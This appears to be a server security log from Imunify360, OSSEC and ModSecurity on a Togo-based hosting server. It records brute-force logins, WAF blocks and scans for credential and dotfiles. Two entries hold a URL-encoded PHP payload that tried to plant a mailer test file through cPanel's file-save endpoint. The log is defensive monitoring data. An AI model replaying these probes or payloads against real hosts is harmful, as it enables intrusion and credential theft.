IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Passage \xc3\xa0 l\xe2\x80\x99EPU : Le Conseil des Droits de l\xe2\x80\x99Homme a fait 224 recommandations au Togo | TOGODAILYNEWS&siteId=1&rec=1&rand=719624&h=7&m=29&s=15&url=http:/togodailynews.tg/passage-a-lepu-le-conseil-des-droits-de-lhomme-a-fait-224-recommandations-au-togo/&uid=0&pid=6635&visitorId=8af580f2057321f8&fvts=1781479756&vc=1&idn=0&refts=0&lvts=1781479756&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=2713&pvId=7uCR7s&browser=Chrome_53&os=Android_6.0&device=Mobile HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.107.197.180
country_id: 2077456
description:
[2026-06-14 23:30:57 +0000] info [webmaild] 103.107.197.180 - jametokodo@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.107
country_id: 1880251
description:
47.128.122.107 - - [14/Jun/2026:23:31:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870180&pdata=https%253A%252F%252Ftogodailynews.tg%252Fconseil-des-ministres-a-lome-les-sujets-a-lordre-du-jour%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781479884 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/conseil-des-ministres-a-lome-les-sujets-a-lordre-du-jour/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.107


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 14 23:31:51 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 34.102.36.150
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:sec-ch-ua||MV:\" not a;brand\";v=\"99\", \"chromium\";v=\"149\", \"google chrome\";v=\"149\"||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.40.48.59
country_id: 2635167
description:
[2026-06-14 23:32:34 +0000] info [webmaild] 149.40.48.59 - info@soena.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.4.65.37
country_id: 1814991
description:
Jun 14 23:32:50 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.4.65.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.8.7.253
country_id: 1835841
description:
Jun 14 23:34:54 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.8.7.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.7.253
country_id: 1835841
description:
2026-06-14 23:34:56 dovecot_login authenticator failed for H=([111.26.106.114]) [59.8.7.253]:48327: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.107.197.180
country_id: 2077456
description:
[2026-06-14 23:36:00 +0000] info [webmaild] 103.107.197.180 - dmahoumba@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 179.193.94.139
country_id: 3469034
domain: www.dagl.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/communes/www.lomegolfe3.com||User:myxlsnta||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.62
country_id: 1880251
description:
47.128.121.62 - - [14/Jun/2026:23:37:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724807&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fpolitique%252Fpage%252F39%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781480242 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/politique/page/39/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.62


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.12
country_id: 1880251
description:
47.128.122.12 - - [14/Jun/2026:23:37:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13201860&pdata=http%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fpolitique%252Fpage%252F35%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781480270 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/category/politique/page/35/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.12


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.80.223
country_id: 6252001
description:
[2026-06-14 23:39:25 +0000] info [cpaneld] 134.199.80.223 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.176.24
country_id: 6252001
description:
[2026-06-14 23:40:17 +0000] info [cpaneld] 136.227.176.24 - lxsenjdd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.194.92.229
country_id: 6252001
description:
[2026-06-14 23:40:17 +0000] info [cpaneld] 216.194.92.229 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.84.233
country_id: 6252001
description:
[2026-06-14 23:40:17 +0000] info [cpaneld] 134.199.84.233 - admin@togocarrierebetons.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.123.219.12
country_id: 6252001
description:
[2026-06-14 23:39:42 +0000] info [webmaild] 190.123.219.12 - contact@emt.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.174.105
country_id: 6252001
description:
[2026-06-14 23:40:17 +0000] info [cpaneld] 136.227.174.105 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.81.203.134
country_id: 3469034
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/media-press-requests/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.188.72.199
country_id: 6252001
description:
[2026-06-14 23:40:18 +0000] info [cpaneld] 213.188.72.199 - lxsenjdd_farms "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd_farms (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.94.216.226
country_id: 1880251
description:
[2026-06-14 23:40:18 +0000] info [cpaneld] 180.94.216.226 - wgqhqbem "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [14/Jun/2026:23:40:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158502&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781480442 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 185.36.191.21
country_id: 2750405
domain: butodra.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/?who=authors&per_page=100&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.170.123
country_id: 6252001
description:
[2026-06-14 23:40:18 +0000] info [cpaneld] 136.227.170.123 - mouss "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mouss (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.108.38
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:163.198.108.38||TA:163.198.108.38||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.162.5.254
country_id: 6252001
domain: www.bawasongroup.tchambainvest.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/project/.git/config||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.190.178
country_id: 6252001
description:
[2026-06-14 23:40:18 +0000] info [cpaneld] 136.227.190.178 - hcbcmrio "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User hcbcmrio has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.61.226.81
country_id: 3703430
description:
[2026-06-14 23:40:18 +0000] info [cpaneld] 37.61.226.81 - tqttxcvn "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tqttxcvn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.94.161
country_id: 6252001
description:
[2026-06-14 23:41:20 +0000] info [cpaneld] 134.199.94.161 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.62
country_id: 1880251
description:
47.128.121.62 - - [14/Jun/2026:23:43:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792109&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwho-is-arming-the-terrorists-games-the-pentagon-plays%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781480621 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/who-is-arming-the-terrorists-games-the-pentagon-plays/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.62


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.124
country_id: 1880251
description:
47.128.96.124 - - [14/Jun/2026:23:44:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866373&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmamakashia%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781480676 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mamakashia/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.124


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.56
country_id: 1880251
description:
47.128.121.56 - - [14/Jun/2026:23:46:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869420&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fpolitique%252Fpage%252F43%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781480797 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/politique/page/43/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.56


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.180.112
country_id: 1880251
description:
Jun 14 23:48:33 ns5 pure-ftpd[3647414]: (?@47.84.180.112) [WARNING] Authentication failed for user [wara.awadi@gmail.com]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.171.61.218
country_id: 1733045
description:
Jun 14 23:50:05 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.171.61.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.171.61.218
country_id: 1733045
description:
Jun 14 23:50:24 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.171.61.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 14 23:51:09 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 14 23:51:24 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.12
country_id: 1880251
description:
47.128.122.12 - - [14/Jun/2026:23:51:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10459076&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-le-gouvernement-intensifie-les-mesures-de-lutte-contre-le-paludisme%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781481114 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-le-gouvernement-intensifie-les-mesures-de-lutte-contre-le-paludisme/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.12


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.142.201.26
country_id: 2750405
description:
[2026-06-14 23:53:17 +0000] info [cpaneld] 45.142.201.26 - wifizoneuser "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.14
country_id: 1835841
description:
Jun 14 23:54:53 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.52.211.184
country_id: 1694008
description:
Jun 14 23:55:25 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.52.211.184 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 163.61.129.110
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/resolution-des-crises-sociopolitiques-en-afrique-de-louest-loci-sollicite-faure-gnassingbe/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 163.61.129.110
country_id: 1168579
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/resolution-des-crises-sociopolitiques-en-afrique-de-louest-loci-sollicite-faure-gnassingbe/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.83.16.173
country_id: 6252001
domain: mail.confortis.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.95.21.183
country_id: 6252001
domain: www.hofbraeu.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.25.86
country_id: 2635167
description:
[2026-06-15 00:02:45 +0000] info [cpaneld] 195.63.25.86 - cfpjusti "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.1
country_id: 6252001
description:
205.169.39.1 - - [15/Jun/2026:00:02:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908782&pdata=http%253A%252F%252Fwww.xaad.atms.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781481765 HTTP/1.1" 302 0 www.xaad.atms.tg "http://www.xaad.atms.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.1


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.207.59.134
country_id: 6251999
description:
[2026-06-15 00:04:08 +0000] info [cpaneld] 104.207.59.134 - seft "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user seft (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.158.42
country_id: 1269750
description:
2026-06-15 00:04:46 dovecot_plain authenticator failed for H=(catist) [152.52.158.42]:49184: 535 Incorrect authentication data (set_id=info@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.249.253.230
country_id: 6252001
description:
[2026-06-15 00:05:10 +0000] info [cpaneld] 173.249.253.230 NEW elmkvzcm:V9XhOsEiWFnKkus8 address=173.249.253.230,app=cpaneld,creator=elmkvzcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.158.42
country_id: 1269750
description:
Jun 15 00:04:44 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.158.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.228.195.160
country_id: 660013
domain: mail.metaart.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:ebbmnmtd||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.2.57.138
country_id: 3469034
description:
Jun 15 00:08:38 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.2.57.138 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.28
country_id: 6252001
description:
Jun 15 00:09:00 ns5 pure-ftpd[3658022]: (?@147.185.132.28) [INFO] New connection from 147.185.132.28


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.165.16.161
country_id: 2993457
description:
Jun 15 00:10:13 ns5 pure-ftpd[3658840]: (?@194.165.16.161) [INFO] New connection from 194.165.16.161


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.7.73
country_id: 6252001
description:
[2026-06-15 00:09:59 +0000] info [cpaneld] 195.63.7.73 - ylhgcaui "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 35.228.71.93
country_id: 660013
domain: tde.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/backend/.git/config||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.195
country_id: 6252001
description:
Jun 15 00:11:58 ns5 pure-ftpd[3659895]: (?@147.185.132.195) [INFO] New connection from 147.185.132.195


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.211.68.218
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:173.211.68.218||TA:173.211.68.218||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-15 00:16:01 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:36382: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.246.212
country_id: 2921044
description:
[2026-06-15 00:18:05 +0000] info [cpaneld] 216.26.246.212 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.59.202.241
country_id: 149590
description:
Jun 15 00:18:09 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.59.202.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-06-15 00:18:11 dovecot_login authenticator failed for H=([41.59.202.241]) [41.59.202.241]:36794: 535 Incorrect authentication data (set_id=press@togosem.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:00:19:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10064282&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781482747 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.117.96.174
country_id: 3932488
description:
Jun 15 00:20:02 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.117.96.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-06-15 00:20:04 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:35412: 535 Incorrect authentication data (set_id=press@dany2.mairie.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 200.50.233.102
country_id: 3658394
description:
200.50.233.102 - - [15/Jun/2026:00:20:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119063&pdata=https%253A%252F%252Fmacite.tg%252Fcategory%252Feducation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781482802 HTTP/2.0" 302 0 macite.tg "https://macite.tg/category/education/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.8705.1701 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:200.50.233.102


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 185.36.191.21
country_id: 2750405
domain: butodra.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/me?_locale=user||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 20.98.18.65
country_id: 6252001
domain: 154.70.82.249
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:expirefreenetmas||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 194.99.27.128
country_id: 6252001
domain: tchambainvest.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:uOo0Xquvr$xl.tchambainvest.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - contact@tdn.tg [06/15/2026:00:27:18 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: contact@tdn.tg


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - contact@tdn.tg [06/15/2026:00:27:19 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: contact@tdn.tg


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.155
country_id: 1880251
description:
47.128.121.155 - - [15/Jun/2026:00:27:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197447&pdata=https%253A%252F%252Fmacite.tg%252Fcategory%252Feconomie%252Fpage%252F52%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781483268 HTTP/2.0" 302 0 macite.tg "https://macite.tg/category/economie/page/52/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.155


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.119.46.30
country_id: 294640
description:
[2026-06-15 00:27:48 +0000] info [webmaild] 212.119.46.30 - sessou.e@inger.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 140.235.3.136
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-30.140.235.3.136||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 162.252.53.89
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
